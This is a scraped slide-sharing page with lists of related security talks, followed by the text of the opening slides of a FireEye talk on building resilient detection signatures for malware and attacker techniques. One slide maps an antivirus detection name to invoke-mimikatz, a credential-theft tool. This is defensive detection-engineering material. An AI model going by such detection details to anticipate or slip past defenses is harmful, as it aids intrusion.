An Abusive Relationship with AngularJS by Mario Heiderich - CODE BLUE 2015An Abusive Relationship with AngularJS by Mario Heiderich - CODE BLUE 2015
An Abusive Relationship with AngularJS by Mario Heiderich - CODE BLUE 2015CODE BLUE
 
[CB16] Facebook Malware: Tag Me If You Can by Ido Naor & Dani Goland
[CB16] Facebook Malware: Tag Me If You Can by Ido Naor & Dani Goland[CB16] Facebook Malware: Tag Me If You Can by Ido Naor & Dani Goland
[CB16] Facebook Malware: Tag Me If You Can by Ido Naor & Dani GolandCODE BLUE
 
Internal Pentest: from z3r0 to h3r0
Internal Pentest: from z3r0 to h3r0Internal Pentest: from z3r0 to h3r0
Internal Pentest: from z3r0 to h3r0marcioalma
 
Protect Your Payloads: Modern Keying Techniques
Protect Your Payloads: Modern Keying TechniquesProtect Your Payloads: Modern Keying Techniques
Protect Your Payloads: Modern Keying TechniquesLeo Loobeek
 
Big Bang Theory: The Evolution of Pentesting High Security Enviroments IT Def...
Big Bang Theory: The Evolution of Pentesting High Security Enviroments IT Def...Big Bang Theory: The Evolution of Pentesting High Security Enviroments IT Def...
Big Bang Theory: The Evolution of Pentesting High Security Enviroments IT Def...Chris Gates
 
Dirty Little Secrets They Didn't Teach You In Pentest Class v2
Dirty Little Secrets They Didn't Teach You In Pentest Class v2Dirty Little Secrets They Didn't Teach You In Pentest Class v2
Dirty Little Secrets They Didn't Teach You In Pentest Class v2Rob Fuller
 
External to DA, the OS X Way
External to DA, the OS X WayExternal to DA, the OS X Way
External to DA, the OS X WayStephan Borosh
 
How to discover 1352 Wordpress plugin 0days in one hour (not really)
How to discover 1352 Wordpress plugin 0days in one hour (not really)How to discover 1352 Wordpress plugin 0days in one hour (not really)
How to discover 1352 Wordpress plugin 0days in one hour (not really)Larry Cashdollar
 
The Dirty Little Secrets They Didn’t Teach You In Pentesting Class
The Dirty Little Secrets They Didn’t Teach You In Pentesting Class The Dirty Little Secrets They Didn’t Teach You In Pentesting Class
The Dirty Little Secrets They Didn’t Teach You In Pentesting Class Chris Gates
 
Introduction to red team operations
Introduction to red team operationsIntroduction to red team operations
Introduction to red team operationsSunny Neo
 
Offensive Python for Pentesting
Offensive Python for PentestingOffensive Python for Pentesting
Offensive Python for PentestingMike Felch
 
Fantastic Red Team Attacks and How to Find Them
Fantastic Red Team Attacks and How to Find ThemFantastic Red Team Attacks and How to Find Them
Fantastic Red Team Attacks and How to Find ThemRoss Wolf
 
Top Security Challenges Facing Credit Unions Today
Top Security Challenges Facing Credit Unions TodayTop Security Challenges Facing Credit Unions Today
Top Security Challenges Facing Credit Unions TodayChris Gates
 
Lares from LOW to PWNED
Lares from LOW to PWNEDLares from LOW to PWNED
Lares from LOW to PWNEDChris Gates
 
Why isn't infosec working? Did you turn it off and back on again?
Why isn't infosec working? Did you turn it off and back on again?Why isn't infosec working? Did you turn it off and back on again?
Why isn't infosec working? Did you turn it off and back on again?Rob Fuller
 
Beyond Automated Testing - RVAsec 2016
Beyond Automated Testing - RVAsec 2016Beyond Automated Testing - RVAsec 2016
Beyond Automated Testing - RVAsec 2016Andrew McNicol
 
Outlook and Exchange for the bad guys
Outlook and Exchange for the bad guysOutlook and Exchange for the bad guys
Outlook and Exchange for the bad guysNick Landers
 
Big problems with big data – Hadoop interfaces security
Big problems with big data – Hadoop interfaces securityBig problems with big data – Hadoop interfaces security
Big problems with big data – Hadoop interfaces securitySecuRing
 
Defeating firefox by Muneaki Nishimunea - CODE BLUE 2015
Defeating firefox by Muneaki Nishimunea - CODE BLUE 2015Defeating firefox by Muneaki Nishimunea - CODE BLUE 2015
Defeating firefox by Muneaki Nishimunea - CODE BLUE 2015CODE BLUE
 

Tendances (20)

An Abusive Relationship with AngularJS by Mario Heiderich - CODE BLUE 2015
An Abusive Relationship with AngularJS by Mario Heiderich - CODE BLUE 2015An Abusive Relationship with AngularJS by Mario Heiderich - CODE BLUE 2015
An Abusive Relationship with AngularJS by Mario Heiderich - CODE BLUE 2015
 
[CB16] Facebook Malware: Tag Me If You Can by Ido Naor & Dani Goland
[CB16] Facebook Malware: Tag Me If You Can by Ido Naor & Dani Goland[CB16] Facebook Malware: Tag Me If You Can by Ido Naor & Dani Goland
[CB16] Facebook Malware: Tag Me If You Can by Ido Naor & Dani Goland
 
Internal Pentest: from z3r0 to h3r0
Internal Pentest: from z3r0 to h3r0Internal Pentest: from z3r0 to h3r0
Internal Pentest: from z3r0 to h3r0
 
Protect Your Payloads: Modern Keying Techniques
Protect Your Payloads: Modern Keying TechniquesProtect Your Payloads: Modern Keying Techniques
Protect Your Payloads: Modern Keying Techniques
 
Big Bang Theory: The Evolution of Pentesting High Security Enviroments IT Def...
Big Bang Theory: The Evolution of Pentesting High Security Enviroments IT Def...Big Bang Theory: The Evolution of Pentesting High Security Enviroments IT Def...
Big Bang Theory: The Evolution of Pentesting High Security Enviroments IT Def...
 
Dirty Little Secrets They Didn't Teach You In Pentest Class v2
Dirty Little Secrets They Didn't Teach You In Pentest Class v2Dirty Little Secrets They Didn't Teach You In Pentest Class v2
Dirty Little Secrets They Didn't Teach You In Pentest Class v2
 
External to DA, the OS X Way
External to DA, the OS X WayExternal to DA, the OS X Way
External to DA, the OS X Way
 
How to discover 1352 Wordpress plugin 0days in one hour (not really)
How to discover 1352 Wordpress plugin 0days in one hour (not really)How to discover 1352 Wordpress plugin 0days in one hour (not really)
How to discover 1352 Wordpress plugin 0days in one hour (not really)
 
The Dirty Little Secrets They Didn’t Teach You In Pentesting Class
The Dirty Little Secrets They Didn’t Teach You In Pentesting Class The Dirty Little Secrets They Didn’t Teach You In Pentesting Class
The Dirty Little Secrets They Didn’t Teach You In Pentesting Class
 
Introduction to red team operations
Introduction to red team operationsIntroduction to red team operations
Introduction to red team operations
 
Offensive Python for Pentesting
Offensive Python for PentestingOffensive Python for Pentesting
Offensive Python for Pentesting
 
Fantastic Red Team Attacks and How to Find Them
Fantastic Red Team Attacks and How to Find ThemFantastic Red Team Attacks and How to Find Them
Fantastic Red Team Attacks and How to Find Them
 
Top Security Challenges Facing Credit Unions Today
Top Security Challenges Facing Credit Unions TodayTop Security Challenges Facing Credit Unions Today
Top Security Challenges Facing Credit Unions Today
 
Lares from LOW to PWNED
Lares from LOW to PWNEDLares from LOW to PWNED
Lares from LOW to PWNED
 
I hunt sys admins 2.0
I hunt sys admins 2.0I hunt sys admins 2.0
I hunt sys admins 2.0
 
Why isn't infosec working? Did you turn it off and back on again?
Why isn't infosec working? Did you turn it off and back on again?Why isn't infosec working? Did you turn it off and back on again?
Why isn't infosec working? Did you turn it off and back on again?
 
Beyond Automated Testing - RVAsec 2016
Beyond Automated Testing - RVAsec 2016Beyond Automated Testing - RVAsec 2016
Beyond Automated Testing - RVAsec 2016
 
Outlook and Exchange for the bad guys
Outlook and Exchange for the bad guysOutlook and Exchange for the bad guys
Outlook and Exchange for the bad guys
 
Big problems with big data – Hadoop interfaces security
Big problems with big data – Hadoop interfaces securityBig problems with big data – Hadoop interfaces security
Big problems with big data – Hadoop interfaces security
 
Defeating firefox by Muneaki Nishimunea - CODE BLUE 2015
Defeating firefox by Muneaki Nishimunea - CODE BLUE 2015Defeating firefox by Muneaki Nishimunea - CODE BLUE 2015
Defeating firefox by Muneaki Nishimunea - CODE BLUE 2015
 

Similaire à SignaturesAreDead Long Live RESILIENT Signatures

Weaponizing Your DevOps Pipeline
Weaponizing Your DevOps PipelineWeaponizing Your DevOps Pipeline
Weaponizing Your DevOps PipelinePuma Security, LLC
 
2016, A New Era of OS and Cloud Security - Tudor Damian
2016, A New Era of OS and Cloud Security - Tudor Damian2016, A New Era of OS and Cloud Security - Tudor Damian
2016, A New Era of OS and Cloud Security - Tudor DamianITCamp
 
Detection Rules Coverage
Detection Rules CoverageDetection Rules Coverage
Detection Rules CoverageSunny Neo
 
2016, A new era of OS and Cloud Security
2016, A new era of OS and Cloud Security2016, A new era of OS and Cloud Security
2016, A new era of OS and Cloud SecurityTudor Damian
 
Beyond S3 Buckets - Effective Countermeasures for Emerging Cloud Threats
Beyond S3 Buckets - Effective Countermeasures for Emerging Cloud ThreatsBeyond S3 Buckets - Effective Countermeasures for Emerging Cloud Threats
Beyond S3 Buckets - Effective Countermeasures for Emerging Cloud ThreatsSBWebinars
 
Application security meetup k8_s security with zero trust_29072021
Application security meetup k8_s security with zero trust_29072021Application security meetup k8_s security with zero trust_29072021
Application security meetup k8_s security with zero trust_29072021lior mazor
 
Modern cybersecurity threats, and shiny new tools to help deal with them
Modern cybersecurity threats, and shiny new tools to help deal with themModern cybersecurity threats, and shiny new tools to help deal with them
Modern cybersecurity threats, and shiny new tools to help deal with themTudor Damian
 
Layer one 2011-joe-mccray-you-spent-all-that-money-and-still-got-0wned
Layer one 2011-joe-mccray-you-spent-all-that-money-and-still-got-0wnedLayer one 2011-joe-mccray-you-spent-all-that-money-and-still-got-0wned
Layer one 2011-joe-mccray-you-spent-all-that-money-and-still-got-0wnedfangjiafu
 
Modern cybersecurity threats, and shiny new tools to help deal with them - T...
 Modern cybersecurity threats, and shiny new tools to help deal with them - T... Modern cybersecurity threats, and shiny new tools to help deal with them - T...
Modern cybersecurity threats, and shiny new tools to help deal with them - T...ITCamp
 
MITRE-Module 1 Slides.pdf
MITRE-Module 1 Slides.pdfMITRE-Module 1 Slides.pdf
MITRE-Module 1 Slides.pdfReZa AdineH
 
CodeMotion 2023 - Deep dive nella supply chain della nostra infrastruttura cl...
CodeMotion 2023 - Deep dive nella supply chain della nostra infrastruttura cl...CodeMotion 2023 - Deep dive nella supply chain della nostra infrastruttura cl...
CodeMotion 2023 - Deep dive nella supply chain della nostra infrastruttura cl...sparkfabrik
 
Evolution of Offensive Testing - ATT&CK-based Adversary Emulation Plans
Evolution of Offensive Testing - ATT&CK-based Adversary Emulation PlansEvolution of Offensive Testing - ATT&CK-based Adversary Emulation Plans
Evolution of Offensive Testing - ATT&CK-based Adversary Emulation PlansChristopher Korban
 
IRJET- A Study on Penetration Testing using Metasploit Framework
IRJET- A Study on Penetration Testing using Metasploit FrameworkIRJET- A Study on Penetration Testing using Metasploit Framework
IRJET- A Study on Penetration Testing using Metasploit FrameworkIRJET Journal
 
Penetration testing using metasploit framework
Penetration testing using metasploit frameworkPenetration testing using metasploit framework
Penetration testing using metasploit frameworkPawanKesharwani
 
Making the Case for Stronger Endpoint Data Visibility
Making the Case for Stronger Endpoint Data VisibilityMaking the Case for Stronger Endpoint Data Visibility
Making the Case for Stronger Endpoint Data Visibilitydianadvo
 
Operationalizing Security Intelligence
Operationalizing Security IntelligenceOperationalizing Security Intelligence
Operationalizing Security IntelligenceSplunk
 
Operational Security Intelligence
Operational Security IntelligenceOperational Security Intelligence
Operational Security IntelligenceSplunk
 
BlackHat Presentation - Lies and Damn Lies: Getting past the Hype of Endpoint...
BlackHat Presentation - Lies and Damn Lies: Getting past the Hype of Endpoint...BlackHat Presentation - Lies and Damn Lies: Getting past the Hype of Endpoint...
BlackHat Presentation - Lies and Damn Lies: Getting past the Hype of Endpoint...Mike Spaulding
 
Cisco Connect Toronto 2018 DNA assurance
Cisco Connect Toronto 2018  DNA assuranceCisco Connect Toronto 2018  DNA assurance
Cisco Connect Toronto 2018 DNA assuranceCisco Canada
 
Get Real-Time Cyber Threat Protection with Risk Management and SIEM
Get Real-Time Cyber Threat Protection with Risk Management and SIEMGet Real-Time Cyber Threat Protection with Risk Management and SIEM
Get Real-Time Cyber Threat Protection with Risk Management and SIEMRapid7
 

Similaire à SignaturesAreDead Long Live RESILIENT Signatures (20)

Weaponizing Your DevOps Pipeline
Weaponizing Your DevOps PipelineWeaponizing Your DevOps Pipeline
Weaponizing Your DevOps Pipeline
 
2016, A New Era of OS and Cloud Security - Tudor Damian
2016, A New Era of OS and Cloud Security - Tudor Damian2016, A New Era of OS and Cloud Security - Tudor Damian
2016, A New Era of OS and Cloud Security - Tudor Damian
 
Detection Rules Coverage
Detection Rules CoverageDetection Rules Coverage
Detection Rules Coverage
 
2016, A new era of OS and Cloud Security
2016, A new era of OS and Cloud Security2016, A new era of OS and Cloud Security
2016, A new era of OS and Cloud Security
 
Beyond S3 Buckets - Effective Countermeasures for Emerging Cloud Threats
Beyond S3 Buckets - Effective Countermeasures for Emerging Cloud ThreatsBeyond S3 Buckets - Effective Countermeasures for Emerging Cloud Threats
Beyond S3 Buckets - Effective Countermeasures for Emerging Cloud Threats
 
Application security meetup k8_s security with zero trust_29072021
Application security meetup k8_s security with zero trust_29072021Application security meetup k8_s security with zero trust_29072021
Application security meetup k8_s security with zero trust_29072021
 
Modern cybersecurity threats, and shiny new tools to help deal with them
Modern cybersecurity threats, and shiny new tools to help deal with themModern cybersecurity threats, and shiny new tools to help deal with them
Modern cybersecurity threats, and shiny new tools to help deal with them
 
Layer one 2011-joe-mccray-you-spent-all-that-money-and-still-got-0wned
Layer one 2011-joe-mccray-you-spent-all-that-money-and-still-got-0wnedLayer one 2011-joe-mccray-you-spent-all-that-money-and-still-got-0wned
Layer one 2011-joe-mccray-you-spent-all-that-money-and-still-got-0wned
 
Modern cybersecurity threats, and shiny new tools to help deal with them - T...
 Modern cybersecurity threats, and shiny new tools to help deal with them - T... Modern cybersecurity threats, and shiny new tools to help deal with them - T...
Modern cybersecurity threats, and shiny new tools to help deal with them - T...
 
MITRE-Module 1 Slides.pdf
MITRE-Module 1 Slides.pdfMITRE-Module 1 Slides.pdf
MITRE-Module 1 Slides.pdf
 
CodeMotion 2023 - Deep dive nella supply chain della nostra infrastruttura cl...
CodeMotion 2023 - Deep dive nella supply chain della nostra infrastruttura cl...CodeMotion 2023 - Deep dive nella supply chain della nostra infrastruttura cl...
CodeMotion 2023 - Deep dive nella supply chain della nostra infrastruttura cl...
 
Evolution of Offensive Testing - ATT&CK-based Adversary Emulation Plans
Evolution of Offensive Testing - ATT&CK-based Adversary Emulation PlansEvolution of Offensive Testing - ATT&CK-based Adversary Emulation Plans
Evolution of Offensive Testing - ATT&CK-based Adversary Emulation Plans
 
IRJET- A Study on Penetration Testing using Metasploit Framework
IRJET- A Study on Penetration Testing using Metasploit FrameworkIRJET- A Study on Penetration Testing using Metasploit Framework
IRJET- A Study on Penetration Testing using Metasploit Framework
 
Penetration testing using metasploit framework
Penetration testing using metasploit frameworkPenetration testing using metasploit framework
Penetration testing using metasploit framework
 
Making the Case for Stronger Endpoint Data Visibility
Making the Case for Stronger Endpoint Data VisibilityMaking the Case for Stronger Endpoint Data Visibility
Making the Case for Stronger Endpoint Data Visibility
 
Operationalizing Security Intelligence
Operationalizing Security IntelligenceOperationalizing Security Intelligence
Operationalizing Security Intelligence
 
Operational Security Intelligence
Operational Security IntelligenceOperational Security Intelligence
Operational Security Intelligence
 
BlackHat Presentation - Lies and Damn Lies: Getting past the Hype of Endpoint...
BlackHat Presentation - Lies and Damn Lies: Getting past the Hype of Endpoint...BlackHat Presentation - Lies and Damn Lies: Getting past the Hype of Endpoint...
BlackHat Presentation - Lies and Damn Lies: Getting past the Hype of Endpoint...
 
Cisco Connect Toronto 2018 DNA assurance
Cisco Connect Toronto 2018  DNA assuranceCisco Connect Toronto 2018  DNA assurance
Cisco Connect Toronto 2018 DNA assurance
 
Get Real-Time Cyber Threat Protection with Risk Management and SIEM
Get Real-Time Cyber Threat Protection with Risk Management and SIEMGet Real-Time Cyber Threat Protection with Risk Management and SIEM
Get Real-Time Cyber Threat Protection with Risk Management and SIEM
 

Dernier

Anypoint Exchange: It’s Not Just a Repo!
Anypoint Exchange: It’s Not Just a Repo!Anypoint Exchange: It’s Not Just a Repo!
Anypoint Exchange: It’s Not Just a Repo!Manik S Magar
 
Developer Data Modeling Mistakes: From Postgres to NoSQL
Developer Data Modeling Mistakes: From Postgres to NoSQLDeveloper Data Modeling Mistakes: From Postgres to NoSQL
Developer Data Modeling Mistakes: From Postgres to NoSQLScyllaDB
 
Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)
Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)
Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)Mark Simos
 
SIP trunking in Janus @ Kamailio World 2024
SIP trunking in Janus @ Kamailio World 2024SIP trunking in Janus @ Kamailio World 2024
SIP trunking in Janus @ Kamailio World 2024Lorenzo Miniero
 
"Federated learning: out of reach no matter how close",Oleksandr Lapshyn
"Federated learning: out of reach no matter how close",Oleksandr Lapshyn"Federated learning: out of reach no matter how close",Oleksandr Lapshyn
"Federated learning: out of reach no matter how close",Oleksandr LapshynFwdays
 
Artificial intelligence in cctv survelliance.pptx
Artificial intelligence in cctv survelliance.pptxArtificial intelligence in cctv survelliance.pptx
Artificial intelligence in cctv survelliance.pptxhariprasad279825
 
DevoxxFR 2024 Reproducible Builds with Apache Maven
DevoxxFR 2024 Reproducible Builds with Apache MavenDevoxxFR 2024 Reproducible Builds with Apache Maven
DevoxxFR 2024 Reproducible Builds with Apache MavenHervé Boutemy
 
My Hashitalk Indonesia April 2024 Presentation
My Hashitalk Indonesia April 2024 PresentationMy Hashitalk Indonesia April 2024 Presentation
My Hashitalk Indonesia April 2024 PresentationRidwan Fadjar
 
Install Stable Diffusion in windows machine
Install Stable Diffusion in windows machineInstall Stable Diffusion in windows machine
Install Stable Diffusion in windows machinePadma Pradeep
 
Beyond Boundaries: Leveraging No-Code Solutions for Industry Innovation
Beyond Boundaries: Leveraging No-Code Solutions for Industry InnovationBeyond Boundaries: Leveraging No-Code Solutions for Industry Innovation
Beyond Boundaries: Leveraging No-Code Solutions for Industry InnovationSafe Software
 
Gen AI in Business - Global Trends Report 2024.pdf
Gen AI in Business - Global Trends Report 2024.pdfGen AI in Business - Global Trends Report 2024.pdf
Gen AI in Business - Global Trends Report 2024.pdfAddepto
 
Connect Wave/ connectwave Pitch Deck Presentation
Connect Wave/ connectwave Pitch Deck PresentationConnect Wave/ connectwave Pitch Deck Presentation
Connect Wave/ connectwave Pitch Deck PresentationSlibray Presentation
 
Commit 2024 - Secret Management made easy
Commit 2024 - Secret Management made easyCommit 2024 - Secret Management made easy
Commit 2024 - Secret Management made easyAlfredo García Lavilla
 
Designing IA for AI - Information Architecture Conference 2024
Designing IA for AI - Information Architecture Conference 2024Designing IA for AI - Information Architecture Conference 2024
Designing IA for AI - Information Architecture Conference 2024Enterprise Knowledge
 
Vertex AI Gemini Prompt Engineering Tips
Vertex AI Gemini Prompt Engineering TipsVertex AI Gemini Prompt Engineering Tips
Vertex AI Gemini Prompt Engineering TipsMiki Katsuragi
 
Vector Databases 101 - An introduction to the world of Vector Databases
Vector Databases 101 - An introduction to the world of Vector DatabasesVector Databases 101 - An introduction to the world of Vector Databases
Vector Databases 101 - An introduction to the world of Vector DatabasesZilliz
 
Search Engine Optimization SEO PDF for 2024.pdf
Search Engine Optimization SEO PDF for 2024.pdfSearch Engine Optimization SEO PDF for 2024.pdf
Search Engine Optimization SEO PDF for 2024.pdfRankYa
 
DevEX - reference for building teams, processes, and platforms
DevEX - reference for building teams, processes, and platformsDevEX - reference for building teams, processes, and platforms
DevEX - reference for building teams, processes, and platformsSergiu Bodiu
 
"ML in Production",Oleksandr Bagan
"ML in Production",Oleksandr Bagan"ML in Production",Oleksandr Bagan
"ML in Production",Oleksandr BaganFwdays
 
CloudStudio User manual (basic edition):
CloudStudio User manual (basic edition):CloudStudio User manual (basic edition):
CloudStudio User manual (basic edition):comworks
 

Dernier (20)

Anypoint Exchange: It’s Not Just a Repo!
Anypoint Exchange: It’s Not Just a Repo!Anypoint Exchange: It’s Not Just a Repo!
Anypoint Exchange: It’s Not Just a Repo!
 
Developer Data Modeling Mistakes: From Postgres to NoSQL
Developer Data Modeling Mistakes: From Postgres to NoSQLDeveloper Data Modeling Mistakes: From Postgres to NoSQL
Developer Data Modeling Mistakes: From Postgres to NoSQL
 
Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)
Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)
Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)
 
SIP trunking in Janus @ Kamailio World 2024
SIP trunking in Janus @ Kamailio World 2024SIP trunking in Janus @ Kamailio World 2024
SIP trunking in Janus @ Kamailio World 2024
 
"Federated learning: out of reach no matter how close",Oleksandr Lapshyn
"Federated learning: out of reach no matter how close",Oleksandr Lapshyn"Federated learning: out of reach no matter how close",Oleksandr Lapshyn
"Federated learning: out of reach no matter how close",Oleksandr Lapshyn
 
Artificial intelligence in cctv survelliance.pptx
Artificial intelligence in cctv survelliance.pptxArtificial intelligence in cctv survelliance.pptx
Artificial intelligence in cctv survelliance.pptx
 
DevoxxFR 2024 Reproducible Builds with Apache Maven
DevoxxFR 2024 Reproducible Builds with Apache MavenDevoxxFR 2024 Reproducible Builds with Apache Maven
DevoxxFR 2024 Reproducible Builds with Apache Maven
 
My Hashitalk Indonesia April 2024 Presentation
My Hashitalk Indonesia April 2024 PresentationMy Hashitalk Indonesia April 2024 Presentation
My Hashitalk Indonesia April 2024 Presentation
 
Install Stable Diffusion in windows machine
Install Stable Diffusion in windows machineInstall Stable Diffusion in windows machine
Install Stable Diffusion in windows machine
 
Beyond Boundaries: Leveraging No-Code Solutions for Industry Innovation
Beyond Boundaries: Leveraging No-Code Solutions for Industry InnovationBeyond Boundaries: Leveraging No-Code Solutions for Industry Innovation
Beyond Boundaries: Leveraging No-Code Solutions for Industry Innovation
 
Gen AI in Business - Global Trends Report 2024.pdf
Gen AI in Business - Global Trends Report 2024.pdfGen AI in Business - Global Trends Report 2024.pdf
Gen AI in Business - Global Trends Report 2024.pdf
 
Connect Wave/ connectwave Pitch Deck Presentation
Connect Wave/ connectwave Pitch Deck PresentationConnect Wave/ connectwave Pitch Deck Presentation
Connect Wave/ connectwave Pitch Deck Presentation
 
Commit 2024 - Secret Management made easy
Commit 2024 - Secret Management made easyCommit 2024 - Secret Management made easy
Commit 2024 - Secret Management made easy
 
Designing IA for AI - Information Architecture Conference 2024
Designing IA for AI - Information Architecture Conference 2024Designing IA for AI - Information Architecture Conference 2024
Designing IA for AI - Information Architecture Conference 2024
 
Vertex AI Gemini Prompt Engineering Tips
Vertex AI Gemini Prompt Engineering TipsVertex AI Gemini Prompt Engineering Tips
Vertex AI Gemini Prompt Engineering Tips
 
Vector Databases 101 - An introduction to the world of Vector Databases
Vector Databases 101 - An introduction to the world of Vector DatabasesVector Databases 101 - An introduction to the world of Vector Databases
Vector Databases 101 - An introduction to the world of Vector Databases
 
Search Engine Optimization SEO PDF for 2024.pdf
Search Engine Optimization SEO PDF for 2024.pdfSearch Engine Optimization SEO PDF for 2024.pdf
Search Engine Optimization SEO PDF for 2024.pdf
 
DevEX - reference for building teams, processes, and platforms
DevEX - reference for building teams, processes, and platformsDevEX - reference for building teams, processes, and platforms
DevEX - reference for building teams, processes, and platforms
 
"ML in Production",Oleksandr Bagan
"ML in Production",Oleksandr Bagan"ML in Production",Oleksandr Bagan
"ML in Production",Oleksandr Bagan
 
CloudStudio User manual (basic edition):
CloudStudio User manual (basic edition):CloudStudio User manual (basic edition):
CloudStudio User manual (basic edition):
 

SignaturesAreDead Long Live RESILIENT Signatures

  • 1. $SignaturesAreDead = "Long Live RESILIENT Signatures" wide ascii nocase Daniel Bohannon @danielhbohannon Senior Applied Security Researcher Matthew Dunwoody @matthewdunwoody Senior Security Architect
  • 2. ©2018 FireEye | Private & Confidential whoami 2 s/ami/arewe Daniel Bohannon @danielhbohannon Beard, Coffee & all things Obfuscation Matthew Dunwoody @matthewdunwoody Person
  • 3. ©2018 FireEye | Private & Confidential Experience @ Scale Hundreds of client & customer environments 10+ million endpoints Hundreds of network sensors Millions of malware samples 3 http://pluspng.com/img-png/png-hd-scale-trb-rating-scales-the-review-board-scales-of-justice-png-5600.jpg How we operate to find evil
  • 6. ©2018 FireEye | Private & Confidential <script language="DFIR-Speak"> 6 https://kotaku.com/no-jackie-chan-is-not-dead-1762840753 Signature Trigger Rule IOC (Indicator of Compromise) Hunting What do you mean by "words"?
  • 7. ©2018 FireEye | Private & Confidential <script language="DFIR-Speak"> 7 https://kotaku.com/no-jackie-chan-is-not-dead-1762840753 A/V Signature Real-time Trigger IDS/SIEM/Snort/etc. Rule Historical IOC (Indicator of Compromise) Threat Hunting What do you mean by "words"?
  • 8. ©2018 FireEye | Private & Confidential <script language="DFIR-Speak"> 8 What do you mean by "words"?
  • 9. ©2018 FireEye | Private & Confidential <script language="DFIR-Speak"> 9 What do you mean by "words"? Detection –Historical & real-time –Host- & network-based –Language/tool agnostic
  • 10. ©2018 FireEye | Private & Confidential 10 File hashes? File names? IPs/domains? Twitter handles in source code? Signatures & Indicators What are they? What are they not? https://betanews.com/2016/07/28/how-to-print-to-pdf-directly-in-windows-10-no-software-required/
  • 11. ©2018 FireEye | Private & Confidential Spot a Bad Signature 11 "You can hunt with THIS, or you can hunt with THAT…"
  • 12. ©2018 FireEye | Private & Confidential (Don't) Learn from (Bad) Signatures 12 https://follows.com/blog/wp-content/uploads/2018/02/Meme-You-Made-This.jpg This is an IOC This is an IOC That is an IOC? Garbage in, garbage out Threat Feed
  • 13. ©2018 FireEye | Private & Confidential What is a Good Signature? 13 https://www.reddit.com/r/gifs/comments/3e08b7/i_made_this_oc/ And WHO gets to decide? Who DEFINES good signatures? –Vendors? –Salespeople? –Threat feed? –Practitioners? Good signatures are…
  • 14. ©2018 FireEye | Private & Confidential Good Signatures 14 are… More resilient than rigid – Resist evasions and normal changes to TTPs More methodology-based than specific – Capture method or technique rather than specific procedure More proactive than reactive – Identify new methodologies and anticipated evasions
  • 16. ©2018 FireEye | Private & Confidential Process 16 Overview  Define detection  Assemble a sample set  Test existing detections  Generate data  Write detection  Test and tune http://www.radicalradiationremedy.com/wp- content/uploads/2017/03/4419a4e7c09d3abf08c4f723be2567d2_-coming-soon-think- process-process_800-600.png
  • 17. ©2018 FireEye | Private & Confidential Process 17 Define detection What to find – NewHotness malware, squiblydoo, DNS C2  When to find it – Real time, historical  Where to find it – Endpoints, network, SIEM, sandbox (Who and why should be defined based on historical incidents, threat profile and operational priority. Please consult a qualified intel analyst for more details.) https://www.insightsintoimpact.com/wp- content/uploads/2018/05/process-who-what-why-where.jpg
  • 18. ©2018 FireEye | Private & Confidential Process 18 Define detection How to find it –What tools are applicable and available –What signature formats are supported and best-suited  Snort/Suricata  SIEM query  Yara  Yara + modules  OpenIOC  Stix  ClamAV  Sandbox signature –False positive tolerance
  • 19. ©2018 FireEye | Private & Confidential Process 19 Assemble a Sample Set  Samples representing the thing  Collected – Every available example – All variants and versions  Generated (if applicable) – Run builders, compilers, obfuscators – Develop new variants based on methodology  Try to enumerate the entire problem set – Don’t stop at the most common examples https://www.zedge.net/wallpaper/e532419 c-4a75-4d6c-869b-eb422735dcd9 Set Bonus
  • 20. ©2018 FireEye | Private & Confidential Process 20 Test Existing Detections  Test existing detection capabilities for any free wins – Test safely, ideally outside of prod – Inform stakeholders  Adjust priority of applicable existing detections – Generic.PwShell.RefA.1B61FA61 == invoke-mimikatz – Gen:Variant.Ursu.120152 == ChopStick  Fill gaps in existing capabilities  Extend detection to other media / engines
  • 21. ©2018 FireEye | Private & Confidential Process 21 Generate Data  Generate data – Logs – PCAP – Binary metadata – Strings  This may not be necessary for plain text http://www.startrek.com/uploads/assets/db_articles/26da32597d9bd37fde9d a22660aa524f24fd725c.jpg
  • 22. ©2018 FireEye | Private & Confidential Process 22 Write detection  Start broad and tune down  Many detections can be translated between type  Be mindful of, and challenge, assumptions  Actively try to bypass methodology-based detections  May need specific rules to capture specific cases https://www.timeshighereducation.com/sites/default/files/styles/the_breaking_news_ image_style/public/person-writing-letter-with-metal-quill.jpg?itok=lCt7Bo6c
  • 23. ©2018 FireEye | Private & Confidential Process 23 Test  FN testing against sample set – Gotta catch em all  FP testing against legit data – Start small, tune to FP target, increase scale, iterate – Re-test against samples to validate tuning – If compromise to hit FP target, document what is missed  Test against new TPs that are identified during testing or deployment – Do all of the detections catch it? https://blog.essaytigers.com/wp- content/uploads/failed-exam-491x350.jpg
  • 25. ©2018 FireEye | Private & Confidential Binaries 25 Background Attackers still use malicious binaries Malware changes frequently – Polymorphic – Builders – Version updates Can’t always rely on AV – AV sigs lag – Easy to test against, easy to bypass – Can’t always submit malware to vendors ML is great but it depends on the model and implementation - doesn’t detect everything Validate the effectiveness of existing detection Intelligence gathering, eg. VT retrohunt
  • 26. ©2018 FireEye | Private & Confidential Binaries 26 Background Existing detection/protection ineffective AND: – Active intrusion – High-priority threat – Prolific or publicly-available malware Need additional context beyond “it’s bad” Intel gathering, tagging, etc. https://medium.com/@dunstconsulting/the-different-types-of-malware-analysis-c9bfbaa44739
  • 27. ©2018 FireEye | Private & Confidential Binaries 27 Define Detection Example: –What: All Chopstick malware variants –Where: Endpoint, network, sandbox –When: Historical and real-time –How: Yara + modules, OpenIOC, Snort, SIEM, EDR –False positive tolerance: Moderate http://4.bp.blogspot.com/- FzMgc7Y015s/U9VZdexxSJI/AAAAAAAAAJ4/9QOwiRu- K6g/s1600/diningtips04.jpg
  • 28. ©2018 FireEye | Private & Confidential Binaries 28 Assemble a Sample Set For attacker malware, collect as many samples as possible, from as many variants as possible – Collect hashes from high-confidence sources  Threat intel feeds  Public malware repos  Malware analysis reports –VirusTotal Intelligence – Implant builders  Blogs https://attack.mitre.org/wiki/Software/S0023
